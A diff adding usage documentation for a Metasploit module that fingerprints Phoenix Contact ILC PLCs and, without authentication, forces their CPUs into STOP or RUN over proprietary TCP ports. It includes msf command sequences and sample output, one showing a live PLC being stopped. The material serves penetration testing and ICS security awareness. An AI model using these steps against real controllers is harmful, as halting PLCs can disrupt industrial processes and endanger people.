|
| 1 | +PhoenixContact Programmable Logic Controllers are built are using a variant of ProConOS. |
| 2 | + Communicating using a proprietary protocol over ports TCP/1962 and TCP/41100 or TCP/20547. |
| 3 | +It allows a remote user to read out the PLC Type, Firmware and Build number on port TCP/1962. |
| 4 | +And also to read out the CPU State (Running or Stopped) AND start or stop the CPU on |
| 5 | + port TCP/20547 (confirmed for the PLC series ILC 15x and 17x) |
| 6 | + or TCP/41100 (confirmed for the ILC 39x series) |
| 7 | + other series may or may not work, a very big chance that they will |
| 8 | + |
| 9 | +## Vulnerable Application |
| 10 | + |
| 11 | +This is a hardware zero-day vulnerability that CANNOT be patched, the only mittigation is pulling the plug (literally), |
| 12 | + adding a separate network in front of it (Firewall, Router, IDS, IPS, network segmentation, etc...) |
| 13 | + or not allowing bad people on your network |
| 14 | + |
| 15 | +In general most, if not all, PLC's (computers that control engines, robots, conveyor belts, sensors, camera's, doorlocks, CRACs ...) |
| 16 | + have this vulnerability where, using their own tools, remote configuration and programming can be done *WITHOUT* authentication |
| 17 | + Investigators and underground hackers are just now creating simple tools to convert the often proprietary protocols into (simple) scripts |
| 18 | + |
| 19 | +The most important word here is proprietary. Right now the only thing stopping very bad stuff from happening. |
| 20 | + PhoenixContact uses an (unnamed?) low-level protocol for connection, information exchange and configuration of its PLC devices |
| 21 | + This script utilises that protocol for finding information and switching the PLC mode from STOP to RUN and vice versa |
| 22 | + |
| 23 | +## Verification Steps |
| 24 | + |
| 25 | +The following demonstrates a basic scenario, we "found" two devices with an open port TCP/1962: |
| 26 | + |
| 27 | +``` |
| 28 | +msf > search phoenix |
| 29 | +msf > use auxiliary/admin/scada/phoenix_command |
| 30 | +msf auxiliary(phoenix_command) > set RHOST 10.66.56.12 |
| 31 | +RHOST => 10.66.56.12 |
| 32 | +msf auxiliary(phoenix_command) > run |
| 33 | +
|
| 34 | +[*] 10.66.56.12:0 - PLC Type = ILC 150 GSM/GPRS |
| 35 | +[*] 10.66.56.12:0 - Firmware = 3.71 |
| 36 | +[*] 10.66.56.12:0 - Build = 07/13/11 12:00:00 |
| 37 | +[*] 10.66.56.12:0 - ------------------------------------ |
| 38 | +[*] 10.66.56.12:0 - --> Detected 15x/17x series, getting current CPU state: |
| 39 | +[*] 10.66.56.12:0 - CPU Mode = RUN |
| 40 | +[*] 10.66.56.12:0 - ------------------------------------ |
| 41 | +[*] 10.66.56.12:0 - --> No action specified (NOOP), stopping here |
| 42 | +[*] Auxiliary module execution completed |
| 43 | +
|
| 44 | +msf auxiliary(phoenix_command) > set RHOST 10.66.56.72 |
| 45 | +RHOST => 10.66.56.72 |
| 46 | +msf auxiliary(phoenix_command) > set ACTION REV |
| 47 | +ACTION => REV |
| 48 | +msf auxiliary(phoenix_command) > run |
| 49 | +[*] 10.66.56.72:0 - PLC Type = ILC 390 PN 2TX-IB |
| 50 | +[*] 10.66.56.72:0 - Firmware = 3.95 |
| 51 | +[*] 10.66.56.72:0 - Build = 02/14/11 14:04:47 |
| 52 | +[*] 10.66.56.72:0 - ------------------------------------ |
| 53 | +[*] 10.66.56.72:0 - --> Detected 39x series, getting current CPU state: |
| 54 | +[*] 10.66.56.72:0 - CPU Mode = RUN |
| 55 | +[*] 10.66.56.72:0 - ------------------------------------ |
| 56 | +[*] 10.66.56.72:0 - --> Sending STOP now |
| 57 | +[*] 10.66.56.72:0 - CPU Mode = STOP |
| 58 | +[*] Auxiliary module execution completed |
| 59 | +``` |
| 60 | + |
| 61 | +## Options |
| 62 | +``` |
| 63 | +msf auxiliary(phoenix_command) > show options |
| 64 | +
|
| 65 | +Module options (auxiliary/admin/scada/phoenix_command): |
| 66 | +
|
| 67 | + Name Current Setting Required Description |
| 68 | + ---- --------------- -------- ----------- |
| 69 | + ACTION NOOP yes PLC CPU action, REV means reverse state (Accepted: STOP, START, REV, NOOP) |
| 70 | + RHOST yes The target address |
| 71 | + RINFOPORT 1962 yes Set info port |
| 72 | + RPORT no Set action port, will try autodetect when not set |
| 73 | +``` |
| 74 | + |
| 75 | +By default, the module only reads out the PLC Type, Firmware version, Build date and current CPU mode (RUNning or STOPped) |
| 76 | + |
| 77 | +The first three pieces of data (Type, Firmware & Build) are always found on port TCP/1962 |
| 78 | + (there is no way of changing that port on the PLC, so also no reason to change the 'RINFOPORT' option) |
| 79 | + |
| 80 | + The CPU mode uses a TCP port depending on the PLC Type, the module will automatically detect the type and port to use, |
| 81 | +but can be overridden with the 'RPORT' option, however no real reason to configure it. |
| 82 | +--> If 'RPORT' is set for some reason (e.g. because of an earlier "setg RPORT" command), it can be unset with: |
| 83 | +``` |
| 84 | +msf auxiliary(phoenix_command) > unset RPORT |
| 85 | +Unsetting RPORT... |
| 86 | +``` |
| 87 | + |
| 88 | +**The ACTION option** |
| 89 | +Action only has four (4) possible values: |
| 90 | + |
| 91 | +By default, the module will do nothing to the PLC, therefore No Operation or 'NOOP' |
| 92 | +``` |
| 93 | +msf auxiliary(phoenix_command) > set ACTION NOOP |
| 94 | +``` |
| 95 | + |
| 96 | +The PLC can be forced to go into STOP mode, meaning it stops all execution and all outputs are set to low |
| 97 | +``` |
| 98 | +msf auxiliary(phoenix_command) > set ACTION STOP |
| 99 | +``` |
| 100 | + |
| 101 | +The PLC can be forced to go into RUN mode, it keeps running it was or it will start executing its current boot programming |
| 102 | +``` |
| 103 | +msf auxiliary(phoenix_command) > set ACTION START |
| 104 | +``` |
| 105 | + |
| 106 | +The module can also just read out the CPU mode and then reverse whatever it finds, RUN becomes STOP, STOP becomes RUN |
| 107 | +``` |
| 108 | +msf auxiliary(phoenix_command) > set ACTION REV |
| 109 | +``` |
0 commit comments